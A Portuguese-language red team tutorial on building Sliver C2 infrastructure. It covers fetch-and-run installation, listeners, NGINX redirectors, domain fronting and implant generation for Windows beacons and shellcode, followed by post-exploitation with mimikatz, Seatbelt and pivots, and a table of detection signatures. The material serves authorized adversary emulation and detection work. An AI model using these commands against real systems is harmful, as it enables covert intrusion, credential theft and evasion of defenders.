Construção de Infraestrutura C2 com Sliver Framework
Visão Geral
Sliver é um framework de emulação de adversários open-source e multiplataforma desenvolvido pela BishopFox, escrito em Go. Ele fornece às equipes de red team geração de implantes, canais C2 multi-protocolo (mTLS, HTTP/S, DNS, WireGuard), suporte a múltiplos operadores e extensas capacidades de pós-exploração. Sliver suporta modos beacon (assíncrono) e sessão (interativo), tornando-o adequado tanto para operações de longa duração quanto para exploração interativa. Uma infraestrutura Sliver bem arquitetada usa redirecionadores, domain fronting e certificados HTTPS para manter a resiliência operacional e evitar detecção.
Quando Usar
- Ao implantar ou configurar capacidades de construção de infraestrutura C2 com Sliver no seu ambiente
- Ao estabelecer controles de segurança alinhados aos requisitos de conformidade
- Ao construir ou melhorar a arquitetura de segurança para este domínio
- Ao realizar avaliações de segurança que exijam esta implementação
Pré-requisitos
- Familiaridade com conceitos e ferramentas de red team
- Acesso a um ambiente de teste ou laboratório para execução segura
- Python 3.8+ com dependências necessárias instaladas
- Autorização apropriada para quaisquer atividades de teste
Objetivos
- Implantar um servidor de equipe Sliver em infraestrutura cloud fortificada
- Configurar listeners HTTPS, mTLS, DNS e WireGuard
- Gerar implantes (beacons e sessões) para plataformas alvo
- Configurar redirecionadores NGINX ou Apache entre os implantes e o servidor de equipe
- Implementar domain fronting baseado em Cloudflare ou CDN para ofuscação de tráfego
- Configurar acesso multioperador com autenticação baseada em certificado
- Estabelecer controles de segurança operacional para comunicações C2
Mapeamento MITRE ATT&CK
- T1071.001 - Protocolo de Camada de Aplicação: Protocolos Web
- T1071.004 - Protocolo de Camada de Aplicação: DNS
- T1573.002 - Canal Criptografado: Criptografia Assimétrica
- T1090.002 - Proxy: Proxy Externo (Redirecionadores)
- T1105 - Transferência de Ferramentas de Ingresso
- T1132.001 - Codificação de Dados: Codificação Padrão
- T1572 - Tunelamento de Protocolo
Fluxo de Trabalho
Fase 1: Implantação do Servidor de Equipe
- Provisione um VPS (ex: DigitalOcean, Linode, AWS EC2) para o servidor de equipe
- Fortifique o SO: desative autenticação SSH por senha, configure UFW/iptables, instale fail2ban
- Instale o Sliver usando o script de instalação oficial:
curl https://sliver.sh/install | sudo bash
- Inicie o daemon do servidor Sliver:
systemctl start sliver
sliver-server
- Gere arquivos de configuração do operador para membros da equipe:
new-operator --name operator1 --lhost <ip-do-servidor-de-equipe>
Fase 2: Configuração do Listener
- Configure um listener HTTPS com um certificado SSL legítimo:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /caminho/para/cert.pem --key /caminho/para/key.pem
- Configure um listener DNS para C2 de fallback:
dns --domains c2dns.example.com --lport 53
- Configure um listener mTLS para sessões de alta segurança:
mtls --lhost 0.0.0.0 --lport 8888
- Configure um listener WireGuard para acesso tunelado:
wg --lport 51820
Fase 3: Configuração do Redirecionador
- Implante um VPS separado como redirecionador (posicionado entre os alvos e o servidor de equipe)
- Instale e configure o NGINX como proxy reverso:
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<ip-do-servidor-de-equipe>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
- Configure regras iptables no servidor de equipe para aceitar conexões apenas do redirecionador:
iptables -A INPUT -p tcp --dport 443 -s <ip-do-redirecionador> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
- Opcionalmente, configure o Cloudflare como uma camada de CDN na frente do redirecionador para domain fronting
Fase 4: Geração de Implantes
- Gere um implante beacon HTTPS:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
- Gere um beacon DNS para redes restritas:
generate beacon --dns c2dns.example.com --os windows --arch amd64
- Gere um payload shellcode para injeção:
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
- Configure os intervalos de jitter e callback do beacon:
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
Fase 5: Operações de Pós-Exploração
- Interaja com beacons/sessões ativos:
beacons
use <id-do-beacon>
- Execute módulos de pós-exploração:
ps
netstat
execute-assembly /caminho/para/Seatbelt.exe -group=all
sideload /caminho/para/mimikatz.dll
- Configure pivots para acesso à rede interna:
pivots tcp --bind 0.0.0.0:9898
- Use BOF (Beacon Object Files) para execução em memória:
armory install sa-ldapsearch
sa-ldapsearch -- "(objectClass=user)"
Ferramentas e Recursos
| Ferramenta | Propósito | Plataforma |
|---|
| Servidor Sliver | Servidor de equipe C2 e gerenciamento de implantes | Linux/macOS/Windows |
| Cliente Sliver | Console do operador para membros da equipe | Multiplataforma |
| NGINX | Redirecionador e proxy reverso | Linux |
| Certbot | Geração de certificados SSL Let's Encrypt | Linux |
| Cloudflare | CDN e domain fronting | Nuvem |
| Armory | Gerenciador de pacotes de extensões/BOF do Sliver | Integrado |
Assinaturas de Detecção
| Indicador | Método de Detecção |
|---|
| Cabeçalhos HTTP padrão do Sliver | Análise de tráfego de rede para strings User-Agent incomuns |
| mTLS em portas não padrão | Logs de firewall para conexões de saída para portas incomuns |
| Consultas de registros DNS TXT com alta entropia | Análise de logs DNS para tráfego C2 codificado |
| Tráfego UDP WireGuard na porta 51820 | Análise de fluxo de rede para padrões de handshake do WireGuard |
| Hashes de arquivos de implantes Sliver | Correspondência de assinaturas EDR/AV contra amostras conhecidas do Sliver |
Critérios de Validação